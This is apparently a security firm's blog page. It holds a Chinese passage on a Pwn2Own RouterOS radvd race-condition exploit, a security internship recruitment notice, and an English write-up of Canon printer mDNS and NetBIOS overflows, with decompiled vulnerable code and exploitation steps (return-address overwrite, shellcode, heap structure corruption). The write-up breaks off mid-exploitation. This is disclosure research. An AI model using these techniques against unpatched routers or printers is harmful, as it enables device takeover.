我們也嘗試在 Ubuntu 上執行 exploit 並且記錄網路封包，當然在 Ubuntu 上是失敗的，但當我們在 MacOS 重放失敗的流量時，他竟然成功了：

到這裡我們猜測可能是其中一個 OS 在送出封包之前會對封包進行重新排序，而重新排序的這個行為或許在 wireshark 擷取到封包之後，所以才沒被 wireshark 紀錄到。因此我們直接寫了一個 sniffer 放在 router 上面來監控流量，且因為 AF_PACKET 類型的 socket 不會被防火牆規則影響，結果應該要非常可靠：

然而，從兩邊錄到的封包根本一模一樣……

所以，exploit 目前只在我的 MacOS 上成功過，如果狀況不解決，唯一的方法就是我帶著我的 Mac 筆電飛去多倫多，在現場用我自己的筆電進行攻擊。但我們不可能放著這個成因不明的問題不管，誰知道會不會在比賽中也發生在我的筆電上，如果真的發生那就虧大了。

在經過幾次謹慎的復盤之後我們終於知道問題的成因了——速度。因為兩個 RA 封包送出時間間隔並不大，所以很難在 wireshark 的時間軸上直接看出來，但如果計算一下會發現，兩個所花費的時間其實相差了 390 倍。所以問題也不是出在 Ubuntu 上，而是因為 Mac 送兩個封包送的太快，不小心觸發了存在在 radvd 中的 race condition（加上極度懶惰的我沒有好好計算蓋到 return address 要花多少 bytes，直接在上面寫滿垃圾然後做 pattern match 而已，所以這個 offset 只在 race 的情況下才正確）。

解決方法就是在送出兩個 RA 封包之間 sleep 一下，並把 payload 中的 offset 修復成沒有 race 的情況下觀察到的 offset，就可以穩定我們的攻擊腳本，把成功機率提升到 100%。

Fix

這個漏洞在以下版本中已經被修復：

• Long-term Release 6.48.7
• Stable Release 6.49.8, 7.10
• Testing Release 7.10rc6

同時我們也發現這個漏洞從 RouterOS v6.0 就已經存在了，從官網可以發現 6.0 的發布日期是 2013-05-20，也就是說這個漏洞已經存在在那裡九年之久，卻沒有人發現他。

呼應到我們一開始的想法：「沒有任何理智正常的人想要花時間逆向 nova binary」，得證。

The race condition

然而這個妨礙我們輕鬆賺取 $100,000 的 race condition 是怎麼發生的？如前面所述，nova binary 中有一個 Looper 循環檢查當前有什麼事件發生，也就是説這是一個 single thread 的程式，那 race condition 是怎麼回事？（有些 nova binary 是 multi-fiber，但 radvd 並不是）

這就要提到一個剛才沒有提到的細節，當 radvd 在解析從 WAN 收到的 RA 封包時，DNS 是被存入一個 「vector」 當中，然而在準備 LAN 廣播用的 RA 封包時，addDNS 卻是把一個儲存了 DNS 的 「tree」給展開，所以這個 vector 跟 tree 之間是什麼關係？又是怎麼轉換過去的？

這也是為什麼我們沒有第一時間就在 callback 裡面找到「從 WAN 收到 RA 就會往 LAN 廣播 RA 封包」的邏輯，因為這是由兩個 process 在一陣複雜的互動之後所產生的結果。

我們仔細看一下 callback 具體上做了什麼，可以看到有一個 array 負責用來存放一種叫做「 remote object」的物件，這段程式碼看起來很直觀，就是迭代存有 DNS 的 vector，然後為每個 DNS 地址都呼叫一次 nv::roDNS，並把函式的執行結果保存在 DNS_remoteObject vector 當中。

remote object

所以什麼是 remote object？remote object 是 RouterOS 中用來跨 process 分享資源的一個機制：一個 process 負責保存共用資源，然後另外一個 prcoess 可以通過 id 向負責保存的 process 發送請求來進行增刪查改。 例如 DNS remote object 實際上放在 resolver process 中的 handler 2，而 radvd 的 handler 1 只是單純保有這些物件對應的 id 而已。

subscription and notification

當一個 remote object 被更新時，有些 process 可能會想要做出對應的行為，所以 nova binary 可以透過 IPC 事先訂閱其他 nova binary 中的 remote object。以 dhcp 及 ippool6 為例，ippool6 中的 handler 1 負責管理 ipv6 address pool，dchp process 會去訂閱 ippool6 的 handler 1，所以當 ipv6 address pool 有異動時，dhcp 可以檢查需不需要針對這些異動進行進一步的處理，例如關閉某個 dhcp server。

訂閱的這個行為是透過發送一個指令為 subscribe 的 nova message 給想要訂閱的 binary，當中的 SYS_NOTIFYCMD 包含了具體想要被通知的狀況是什麼。

所以在上述情況中，當有另外一個 process 往 ippool6 中增加 object 時，handler 1 的 cmdAddObj 函式會被執行。

在大部分情況裡，AddObj 固定會去呼叫 sendNotifies 來通知那些有訂閱 0xfe000b 事件的 subscribers，告訴他們訂閱的物件已被改動，所以 ippool6 這裡會送一個 nova message 給 dhcp process，告知物件被改動後的結果。

在理解了訂閱機制之後，我們可以更全面的理解 radvd 與 resolver 之間的互動如下：

當 radvd 從 WAN 收到 RA 封包後，它會對每個 IPv6 地址呼叫 roDNS 來請 resolver 建立相關的 remote object。而 resolver 中的 handler 4 會負責處理這個請求，並在 handler 2 中建立對應的 ipv6 object，接著因為 radvd 的 handler 1 訂閱了 resovler 的 handler 2，所以 resolver 的 handler 2 把目前擁有的所有 DNS address 推播給 radvd 的 handler 1，接著 handler 1 就依照他收到的 DNS address 構造 RA 封包，之後在 LAN 廣播該封包。

Race Condition 成因

Race condition 的問題實際上出在 roDNS 的實作，roDNS 中使用 postMessage 來發送 nova message，而這個方法是 non-blocking 的，表示 radvd 中的 remote object 並不會馬上知道它在 resolver 中對應的 id 是什麼。

因此若第二個封包太快到達，以至於 radvd 還無從得知 remote object 的 id 是什麼的時候，radvd 就沒有辦法第一時間確實的刪除這些物件，只能先將它們標記成 destroyed 進行軟刪除，這就造成了 race condition 的產生。

我們一步一步的分解整個流程：

首先，因為兩個 process 都是 single thread，我們可以假設 radvd、resolver 兩個 process 現在正在執行他們的第一個 loop。

當 radvd 從 WAN 收到一個只有一個 DNS address 的 RA 時，radvd 會向 resolver 發送一個創建 remote object 的請求。

而 resolver 在收到第一個請求的同時會設定一個 timer，因爲在 IPC 的機制中，resolver 無法知道多少個 AddObj 請求屬於同一批，所以它非常簡單的設了一個一次性的 timer，時間到了才送出一次 notification。除此之外，每次 resolver 處理完單個創建的請求後應該要回傳一個 nova message 作為 response，通知 radvd 剛剛被新增的 remote object 的 id 是多少，而 radvd 會透過方才送出請求時一併註冊的一次性 ResponseHandler 來處理這個回應。

但如果第二個 RA 封包太快被送到，以至於 resolver 都還沒有把 id 透過 response 送回來時，radvd 只能先把舊的 DNS remote object 標記成 destroyed 進行軟刪除。

接著 radvd 繼續為收到的第二個 RA 封包中的 RDNSS 欄位建立新的 DNS remote object，但由於 resolver 還沒有結束第一個迭代，所以這個新的請求會停留在 socket 裡面等待下一個迭代才處理。

接下來回到 resolver，第一個迭代以回傳 id 給 radvd 做收尾，radvd 的 ResponseHandler 會根據拿到的 id 去更新 remote object，但由於對應的 remote object 已經被標記成刪除，所以 ResponseHandler 不會去更新 object id，而是直接刪除該 object。

ResponseHandler 在刪除完 radvd 中保存的 remote object 之後，會發送一個 delete object 的 message 給 resolver，告知它對應的 remote object 已經不再使用所以要進行刪除，但一樣會先卡在 socket 裡面等待處理

接著 resolver 進入了第二次迭代，它會先拿到 socket 中為了第二個 RA 創建 remote object 的請求，為第二個 RA 的 DNS 創建對應的 remote object：

但在接著處理 delete 請求之前，先前設定的 timer 時間到了，所以resolver 會呼叫 nv::Handler::sendChanges 來通知所有的訂閱者現在 resolver 知道的 DNS 有哪些，因為 object 1 還沒有被刪除，因此 resolver 會把兩次的請求創建的 DNS 通通都推播出去。

radvd 在收到這樣的資訊之後就會馬上構造用來在 LAN 廣播的 RA 封包，此時兩次的請求結果被混在一起了，這也就是為什麼一開始我們的攻擊只會在 MacOS 上成功的原因。雖然這個 race condition 聽起來很難觸發（刪除請求比 timer 先進行處理的話就不會觸發），但這是因為方便解釋，所以整個流程被我們大幅簡化了，實際上只要兩個封包到達的時間間隔夠短這個 race 就一定會成功。

小結

透過上面的分析，我們在 RouterOS 的 remote object 機制中找到了一個 race condition 的 pattern：

• 在新增/刪除 remote object 時，使用了 non-blocking 的方法
• 有訂閱 remote object

透過這類型的漏洞，攻擊者可以將兩次請求的結果混合成一個回傳，或許可以作為一個用來繞過某些安全性檢查的手法。如果順利找到可利用的漏洞，我們還可以用來參加 Pwn2Own 當中的 router 類別中的 LAN 項目。

然而最後時間緊迫，我們並沒有透過 race condition 找到可以利用的漏洞。而且禍不單行，在報名準備截止時，我們才發現這幾個月來被我們測試了上百次的 exploit 存在一些問題，就在報名截止的三個小時前像鬼打牆一樣，怎麼打怎麼失敗，簡直就是數位世代的逢魔時刻，我們一直更新 exploit 並且不斷更新準備上交的漏洞白皮書，一直到報名前止的半小時前（凌晨四點截止）才順利完成。

但是非常幸運的，我們在賽中僅嘗試一次就順利的完成了攻擊，成為 Pwn2Own 歷史上第一組完成 SOHO SMASHUP 這個新類別的隊伍：

我們在這個項目中獲得了 10 點 Master of Pwn 點數還有 $100,000 美金的獎金，最終在比賽結算時，DEVCORE 以 18.5 個 Master of Pwn 點數奪下冠軍。

冠軍除了獲得 Master of Pwn 的頭銜、獎杯、外套之外，照慣例，主辦方還會各寄一台我們打下的設備過來。

（我們沒辦法把所有東西都塞進相框裡）

結論

在本次研究中，我們對 RouterOS 進行了深入探討，進而揭露了一個潛藏在 RouterOS 內長達九年的安全漏洞，並成功利用該漏洞在 Pwn2Own Toronto 2022 的賽事中奪下 SOHO SMASHUP 的項目。此外，我們還在 IPC 中發現了一種導致 race condition 的行為模式。最後，我們也將賽事中使用的工具開源於 https://github.com/terrynini/routeros-tools ，供大家參考。

通過本次研究及分享，DEVCORE 希望分享我們的發現和經驗，從而協助白帽駭客深入了解 RouterOS，使之變得更加透明易懂。

DEVCORE 創立迄今已逾十年，持續專注於提供主動式資安服務，並致力尋找各種安全風險及漏洞，讓世界變得更安全。為了持續尋找更多擁有相同理念的資安新銳、協助學生建構正確資安意識及技能，我們成立了「戴夫寇爾全國資訊安全獎學金」，2022 年初也開始舉辦首屆實習生計畫，目前為止成果頗豐、超乎預期，第四屆實習生計畫也將於今年 1 月底告一段落。我們很榮幸地宣佈，第五屆實習生計畫即將登場，若您期待加入我們、精進資安技能，煩請詳閱下列資訊後來信報名！

實習內容

本次實習分為 Binary 及 Web 兩個組別，主要內容如下：

• Binary 以研究為主，在與導師確定研究標的後，分析目標架構、進行逆向工程或程式碼審查。藉由這個過程訓練自己的思路，找出可能的攻擊面與潛在的弱點。另外也會讓大家嘗試分析及寫過往漏洞的 Exploit，理解過去漏洞都出現在哪，體驗真實世界的漏洞都是如何利用。
  • 漏洞挖掘及研究 70 %
  • 1-day 開發 (Exploitation) 30 %
• Web 導師會與學生討論並確定一個以學生的期望為主的實習目標，並在過程輔導成長以完成目標，內容可以是深入研究近年常見新型態漏洞、攻擊手法、開源軟體，或是程式語言生態系的常見弱點，亦或是展現你的技術力以開發與紅隊相關的工具。
  • 漏洞、攻擊手法或開發工具研究 90%
  • 成果報告與準備 10%

公司地點

台北市松山區八德路三段 32 號 13 樓

實習時間

• 2024 年 3 月開始到 2024 年 7 月底，共 5 個月。
• 每週工作兩天，工作時間為 10:00 – 18:00
  • 每週固定一天下午 14:00 - 18:00 必須到公司討論進度
    • 如果居住雙北外可彈性調整(但須每個組別統一)
  • 其餘時間皆為遠端作業

招募對象

• 具有一定程度資安背景的學生，且可每週工作兩天
• 此外並無其他招募限制，歷屆實習生可重複應徵
• 對資格有任何疑慮，歡迎來信詢問

預計招收名額

• Binary 組：2~3 人
• Web 組：2~3 人

薪資待遇

每月新台幣 16,000 元

招募條件資格與流程 實習條件要求 Binary

• 基本逆向工程及除錯能力
  • 能看懂組合語言並瞭解基本 Debugger 使用技巧
• 基本漏洞利用能力
  • 須知道 Stack overflow、ROP 等相關利用技巧
• 基本 Scripting Language 開發能力
  • Python、Ruby
• 具備分析大型 Open Source 專案能力
  • 以 C/C++ 為主
• 具備基礎作業系統知識
  • 例如知道 Virtual Address 與 Physical Address 的概念
• Code Auditing
  • 知道怎樣寫的程式碼會有問題
    • Buffer Overflow
    • Use After free
    • Race Condition
    • …
• 具備研究熱誠，習慣了解技術本質
• 加分但非必要條件
  • CTF 比賽經驗
  • pwnable.tw 成績
  • 樂於分享技術
    • 有公開的技術 blog/slide、Write-ups 或是演講
  • 精通 IDA Pro 或 Ghidra
  • 有寫過 1-day 利用程式
  • 具備下列其中之一經驗
    • Kernel Exploit
    • Windows Exploit
    • Browser Exploit
    • Bug Bounty

Web

• 熟悉 OWASP Web Top 10。
• 理解 PortSwigger Web Security Academy 中所有的安全議題或已完成所有 Lab。
  • 參考連結：https://portswigger.net/web-security/all-materials
• 理解計算機網路的基本概念。
• 熟悉 Command Line 操作，包含 Unix-like 和 Windows 作業系統的常見或內建系統指令工具。
• 熟悉任一種網頁程式語言（如：PHP、ASP.NET、JSP），具備可以建立完整網頁服務的能力。
• 熟悉任一種 Scripting Language（如：Shell Script、Python、Ruby），並能使用腳本輔以研究。
• 具備除錯能力，能善用 Debugger 追蹤程式流程、能重現並收斂問題。
• 具備可以建置、設定常見網頁伺服器（如：Nginx、Apache）及作業系統（如：Linux）的能力。
• 具備追根究柢的精神。
• 加分但非必要條件
  • 曾經獨立挖掘過 0-day 漏洞。
  • 曾經獨立分析過已知漏洞並能撰寫 1-day exploit。
  • 曾經於 CTF 比賽中擔任出題者並建置過題目。
  • 擁有 OSCP 證照或同等能力之證照。

應徵流程

本次甄選一共分為二個階段：

第一階段：書面審查

第一階段為書面審查，會需要審查下列兩個項目

• 履歷內容
• 簡答題答案
  • 題目 1：請提出三個，你印象最深刻或感到有趣、於西元 2021 ~ 2023 年間公開的真實漏洞或攻擊鏈案例，並依自己的理解簡述說明各個漏洞的成因、利用條件和可以造成的影響。
  • 題目 2：實習期間想要研究的主題，請提出三個可能選擇的明確主題，並簡單說明提出的理由或想完成的內容，例如：
    • 研究◯◯開源軟體，找到可 RCE 的重大風險弱點。
    • 研究 AD CS 的攻擊手法，嘗試挖掘新的攻擊可能性或向量。
    • 研究常見的路由器，目標包括：AA-123 路由器、BB-456 無線路由器。
  • 題目 3（應徵 Binary 組需回答）：該程式為一個 Local Server，可透過瀏覽網頁與之互動，該 Server 跑在 Windows 11 的電腦上。
    • 請分析上述所提供的 Server，並利用其中的功能，讓使用者瀏覽網頁後，可直接在 Windows 11 上跳出 calc.exe，另外也請盡量滿足下列條件
      • 不可跳任何警告視窗。
      • 使用者只要瀏覽網頁即可觸發不會有額外操作。
      • 瀏覽器限制為 Chrome 或是 MS Edge
    • 請務必寫下解題過程，並交 write-up，請盡你所能來解題，即使最後沒有成功，也請寫下您所嘗試過的方法及思路，本測驗將會以 write-up 為主要依據。

本階段收件截止時間為 2024/01/28 23:59，我們會根據您的履歷及題目所回答的內容來決定是否有通過第一階段，我們會在 10 個工作天內回覆。

第二階段：面試

此階段為 30~120 分鐘（依照組別需求而定，會另行通知）的面試，會有 2~3 位資深夥伴參與，評估您是否具備本次實習所需的技術能力與人格特質。

時間軸

• 2024/01/05 - 2024/01/28 公開招募，書審截止
• 2024/01/29 - 2024/02/22 面試
• 2024/02/26 前回應結果，早面試會早收到結果
• 2024/03/04 第五屆實習計畫於當週開始

報名方式

• 請將您的履歷及題目答案以 PDF 格式寄到 [email protected]
  • 履歷格式請參考範例示意（DOCX、PAGES、PDF）並轉成 PDF。若您有自信，也可以自由發揮最能呈現您能力的履歷。
  • 請於 2024/01/28 23:59 前寄出（如果名額已滿則視情況提早結束）
• 信件標題格式：[應徵] 職位 您的姓名（範例：[應徵] Web 組實習生 王小美）
• 履歷內容請務必控制在三頁以內，至少需包含以下內容：
  • 基本資料
  • 學歷
  • 實習經歷
  • 社群活動經歷
  • 特殊事蹟
  • 過去對於資安的相關研究
  • MBTI 職業性格測試結果（測試網頁）

若有應徵相關問題，請一律使用 Email 聯繫，如造成您的不便請見諒，我們感謝您的來信，並期待您的加入！

English Version, 中文版本

Hacking Printers at Pwn2Own Toronto 2022

Based on our previous research, we also discovered Pre-auth RCE vulnerabilities((CVE-2023-0853、CVE-2023-0854) in other models of Canon printers. For the HP vulnerability, we had a collision with another team. In this section, we will detail the Canon and HP vulnerabilities we exploited during Pwn2own Toronto.

• Pwn2Own Toronto 2022 Target

Target Price Master of Pwn Points HP Collor LaserJet Pro M479fdw $20000 2 Lexmark MC3224i $20000 2 Canon imageCLASS MF743Cdw $20000 2 Analysis Canon Firmware Extract

Same as 2021, you can refer to Part I. The current version is v11.04.

HP

The firmware can be obtained from HP’s official website. However, unlike in 2021, it cannot be directly extracted using binwalk. The firmware is encrypted with AES, and it’s hard to decrypt directly from the information.

At first, our thought was to look for the firmware of the same series to see if there was an unencrypted version. However, there was no such firmware on HP’s official website that met our criteria. We initially considered tearing down the printer to dump the firmware, but during our search on Google, we stumbled upon an older mirror site. This site enabled directory listing, allowing us to access all the firmware stored on that mirror website.

However, the problem was that the mirror site only mirrored up to 2016 and didn’t have the latest information. Still, we later managed to glean the official directory structure from the website information, which helped us to obtain an unencrypted firmware from a similar series.”

After our analysis, we found decryption-related information in the Firmware from fwupd. By reverse engineering, we were able to identify the encryption method and the Key. We can use the key to decrypt the target version of the Firmware.

HP Collor LaserJet Pro M479fdw

• OS - Linux Base
• ARMv7 32bit little-endian

Vulnerability & Exploitation Canon mDNS (CVE-2023-0853)

Ｗe found a stack overflow on mDNS. mDNS protocol resolves hostnames to IP address within small networks that do not include a local name server and are usually used for Apple and IoT devices.

It is enabled on Canon ImageCLASS MF743Cdw(Version 11.04) by default.

Before we look at the detail of the vulnerability we need to talk about mDNS Packet Structure.

mDNS is based on the DNS packet format defined in RFC1035 Section 4 for both queries and responses. mDNS queries and responses utilize the DNS header format defined in RFC1035 with exceptions noted below:

The packet format:

+---------------------+ | Header | +---------------------+ | Question | the question for the name server +---------------------+ | Answer | RRs answering the question +---------------------+ | Authority | RRs pointing toward an authority +---------------------+ | Additional | RRs holding additional information +---------------------+ (diagram from https://www.ietf.org/rfc/rfc1035.txt)

The header contains the following fields:

1 1 1 1 1 1 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | ID | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ |QR| Opcode |AA|TC|RD|RA| Z | RCODE | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | QDCOUNT | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | ANCOUNT | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | NSCOUNT | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | ARCOUNT | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ (diagram from https://www.ietf.org/rfc/rfc1035.txt)

The answer section contains RRs that answer the question.

Resource record format:

1 1 1 1 1 1 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | | / / / NAME / | | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | TYPE | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | CLASS | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | TTL | | | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ | RDLENGTH | +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--| / RDATA / / / +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ (diagram from https://www.ietf.org/rfc/rfc1035.txt)

The RDATA section varies depending on the ‘type’. When type=NSEC, its format is as follows:

The RDATA of the NSEC RR is as shown below: 1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 3 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ / Next Domain Name / +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ / Type Bit Maps / +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ (diagram from https://www.ietf.org/rfc/rfc4034.txt)

More details can reference to RFC6762.

Other element is not important in this vulnerability, so we won’t explain more here. More detail can be found at RFC6762, RFC1035 and RFC4034.

Where is the bug

When Canon ImageCLASS MF743Cdw is parsing the Answer field (type NSEC) in mDNS header, there is a stack overflow.

In the function bnMdnsParseAnswers, it will parse answer section.

int __fastcall bnMdnsParseAnswers( netbios_header *mdns_packet, unsigned int *ppayloadlen, netbios_header *pmdns_header, _WORD *anwser_rr, rrlist **payload, _DWORD *pinfo) { ... char nsec_buf[256]; // ------ fixed size on the stack ... _mdns_packet = (int)mdns_packet; p_payloadlen = ppayloadlen; p_mdns_header = pmdns_header; anwser_cnt = anwser_rr; v66 = 0; cur_ptr = &mdns_packet->payload[*pinfo]; v9 = *payload; v10 = *payload; do { v11 = v10 == 0; if ( v10 ) { v9 = v10; v10 = (rrlist *)v10->c; } else { v6 = aBnmdnsparseans; v10 = 0; v67 = 0; } } while ( !v11 ); while ( (unsigned __int16)*anwser_cnt > v67 ) { ... if... type = (unsigned __int16)pname->type; if ( type == 28 ) goto LABEL_36; if... if... if ( type != 0x21 ) { if ( type != 47 ) // NSEC { ... goto LABEL_95; } v62 = 0; v63 = 0; zeromemory(nsec_buf, 256, v19, v20); v47 = bnMdnsMalloc(8); rrlist->pname->nsec = v47; if ( !v47 ) { bnMdnsFreeRRLIST((int)rrlist); v50 = 2720; LABEL_76: debugprintff( 3610, 3, "[bnjr] [%s] <%s:%d> bnMdnsParseAnswers error in malloc(NSEC)\n", "IMP/mdns/common/tcBnMdnsMsg.c", v6, v50); return 3; } maybe_realloc(v47, 8); nsec = rrlist->pname->nsec; nsec_len = bnMdnsGetDecodedRRNameLen(cur_ptr, *ppayloadlen, (char *)_mdns_packet, &dwbyte); if... if... v51 = (_BYTE *)bnMdnsMalloc(nsec_len); *(_DWORD *)nsec = v51; if... consume_label(cur_ptr, *ppayloadlen, _mdns_packet, v51, nsec_len); v52 = dwbyte; v53 = &cur_ptr[dwbyte]; v54 = *ppayloadlen - dwbyte; *ppayloadlen = v54; v55 = (unsigned __int8)v53[1]; v56 = (unsigned __int8)*v53; nsec_ = v53 + 2; *ppayloadlen = v54 - 2; v57 = v56 | (v55 << 8); nsec_len_ = __rev16(v57); if... memcpy((int)nsec_buf, nsec_, nsec_len_, v57); //-------- [1] stack overflow for ( i = 0; i < (int)nsec_len_; ++i ) { if ( nsec_buf[i] ) { for ( j = 0; j < 8; ++j ) { if ( 1 << j == (unsigned __int8)nsec_buf[i] ) { if ( v62 ) v63 = 7 - j + 8 * i; else v62 = 7 - j + 8 * i; } } } } *(_WORD *)(nsec + 4) = v62; ... } *pinfo = &cur_ptr[-_mdns_packet - 0xC]; *anwser_cnt -= v66; return 0; } }

When it is parsing the NSEC(type 47) record, it does not check the length of the record. It will copy the data to a local buffer(nsec_buf[256]) at [1], which leads to a stack buffer overflow.

Exploitation

We can construct an mDNS packet to trigger the stack overflow. It does not have Stack Guard, so we can overwrite the return address directly. It also does not implement DEP. We can overwrite the return address with a global buffer which we can control to run our shellcode.

We finally chose BJNP session buffer as our target. It will copy our payload when we start a BJNP session.

We can run shellcode to do anything, such as modifying the website, changing the LCD screen, etc.

NetBIOS (CVE-2023-0854)

Ｗe found a heap overflow on NetBIOS. NetBIOS is a protocol for Network Basic Input/Output System. It provides services related to the session layer of the OSI model allowing applications on separate computers to communicate over a local area network. . Canon implemented the NetBIOS daemon by themselves.

It is enabled on Canon ImageCLASS MF743Cdw(Version 11.04) by default.

NetBIOS provides three distinct services:

• Name service (NetBIOS-NS) for name registration and resolution.
• Datagram distribution service (NetBIOS-DGM) for connectionless communication.
• Session service (NetBIOS-SSN) for connection-oriented communication.

We will focus on NetBIOS-NS (port 137).

Before we look at the detail of the vulnerability we need to talk about NetBIOS-NS Packet Structure.

NetBIOS-NS is based on the DNS packet format. It is defined in RFC1002 for both queries and responses. NetBIOS queries and responses utilize the NS header format defined in RFC1002 with exceptions noted below:

1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 3 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | NAME_TRN_ID | OPCODE | NM_FLAGS | RCODE | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | QDCOUNT | ANCOUNT | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | NSCOUNT | ARCOUNT | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ (diagram from https://datatracker.ietf.org/doc/html/rfc1002)

The query will be placed after the header. The first element is QNAME which is a domain name represented as a sequence of labels, where each label consists of a length character followed by that number of characters. Other element is not important in this vulnerability, so we won’t explain more here. More details can be found at RFC1002.

Where is the bug

When Canon ImageCLASS MF743Cdw is parsing the NetBIOS in NetBIOS packets, there is a heap overflow. The vulnerability is in cmNetBiosParseName function. We can trigger it from ndNameProcessExternalMessage.

When NetBIOS service starts, it will initial netbios_ns_buffer. The buffer would be allocated 0xff bytes from the heap.

int ndNameInit() { sub_41C47A20((int)"netcifsnqendapp/IMP/nq/ndnampro.c", 0x44ED3194, 97, 0x64u); netbios_ns_buffer = calloc(1, 0xFF); ... return -1; }

When parsing the NetBIOS-NS in NetBIOS packets, it will use ndNameProcessExternalMessage to process it.

int __fastcall ndNameProcessExternalMessage(Adapter *a1) { netbios_header *packet; // r0 unsigned __int8 *v3; // r6 int flag; // r0 int v5; // r5 int v6; // r0 int v8; // r4 char nbname[40]; // [sp+8h] [bp-28h] BYREF sub_41C47A20((int)"netcifsnqendapp/IMP/nq/ndnampro.c", 0x44ED31AC, 178, 0x64u); packet = (netbios_header *)a1->packet; LOWORD(a1->vvv) = LOBYTE(packet->id) | (HIBYTE(packet->id) << 8); v3 = cmNetBiosParseName(packet, (unsigned __int8 *)packet->payload, (int)nbname, netbios_ns_buffer, 0xFFu); //---- [1] //heap overflow at netbios_ns_buffer if... flag = getname_query_flag((netbios_header *)a1->packet); v5 = flag; if ( flag == 0xA800 ) { v6 = ndInternalNamePositiveRegistration(a1, (int)nbname, (int)v3); goto LABEL_17; } if ( flag > 0xA800 ) { switch ( flag ) { case 0xA801: v6 = ndInternalNameNegativeRegistration(a1, (int)nbname); goto LABEL_17; ... } goto LABEL_14; } ... ndInternalNameNegativeQuery((int)a1, (int)nbname); v6 = ndExternalNameNegativeQuery((int)a1, nbname); LABEL_17: v8 = v6; assset("netcifsnqendapp/IMP/nq/ndnampro.c", 0x44ED31AC, 238, 100); return v8; }

At [1], the function cmNetBiosParseName does not calculate the length of the domain name correctly. It will copy the domain name to netbios_ns_buff, which leads to a heap overflow.

Let’s take a look at cmNetBiosParseName function.

unsigned __int8 *__fastcall cmNetBiosParseName( netbios_header *netbios_packet, unsigned __int8 *netbios_label, int netbios_name, _BYTE *domain_name, unsigned int maxlen) { char v5; // r9 unsigned __int8 *v11; // r0 _BYTE *v12; // r1 unsigned int i; // r0 char v15; // r3 char v16; // r2 int v17; // r0 unsigned __int8 *v18; // r0 unsigned int v19; // r3 char *label_; // r0 unsigned int labellen_; // r4 unsigned int labellen; // t1 char *v23; // r5 unsigned __int8 *next[9]; // [sp+4h] [bp-24h] BYREF ... if ( *v11 == 0x20 ) { ... v17 = *next[0]; if ( *next[0] ) v5 = '.'; else *domain_name = 0; if ( v17 ) { do { v18 = resolveLabel(netbios_packet, next); labellen = *v18; label_ = (char *)(v18 + 1); labellen_ = labellen; if ( maxlen > labellen ) { memcpy((int)domain_name, label_, labellen_, v19); v23 = &domain_name[labellen_]; maxlan -= labellen_; // ---------- [2] // it does not subtract the length of "." *v23 = v5; domain_name = v23 + 1; } } while ( *next[0] ); *(domain_name - 1) = 0; } assset("netcifsnqecorelib/IMP/nq/cmnbname.c", 0x44A86D7C, 634, 100); return next[0] + 1; } else { logg("netcifsnqecorelib/IMP/nq/cmnbname.c", 0x44A86D7C, 595, 10); return 0; } }

The function cmNetBiosParseName will parse the domain from the label in the NetBIOS packet to the domain_name buffer and it has a verification. The verification will check that the total length of the label could not larger than maxlen, and a "." will be added between each label. But it does not subtract the length of "." characters so that the total length of the label can be larger than maxlen. It will lead to overflow.

Exploitation

Luckily, there is a useful structure nb_info to achieve our goal. We can use the heap overflow to overwrite the structure of nb_info.

The layout of heap memory:

The structure of nb_info and Adapter:

struct nb_info { int active; char nbname[16]; int x; int y; short z; short src_port; short tid; short w; Adapter *adapter; char *ptr; int state; ... }

The structure is used to store NetBIOS name information, it also has a member Adapter to store the information of connection.

struct Adapter { int idx; _BYTE gap0[16]; int x; int fd_1022; int fd_1023; int y; _WORD src_port; _DWORD src_ip; int vvv; int packet; _DWORD recv_bytes; char* response_buf; _DWORD dword3C; };

Let’s back to ndNameProcessExternalMessage, if the flag of NetBIOS-NS packet is set to 0xA801, it will use ndInternalNameNegativeRegistration to process our NetBIOS name. The result will be written to Adapter->responsebuf.

case 0xA801: v6 = ndInternalNameNegativeRegistration(a1, (int)nbname); goto LABEL_17;

At ndInternalNameNegativeRegistration :

int __fastcall ndInternalNameNegativeRegistration(Adapter *adapter, int a2) { ... if ( v8 ) { returnNegativeRegistrationResponse((nb_info *)v6, adapter, 3); } ... }

If the conditions are met, it will use ‘returnNegativeRegistrationResponse’ to handle the Response.

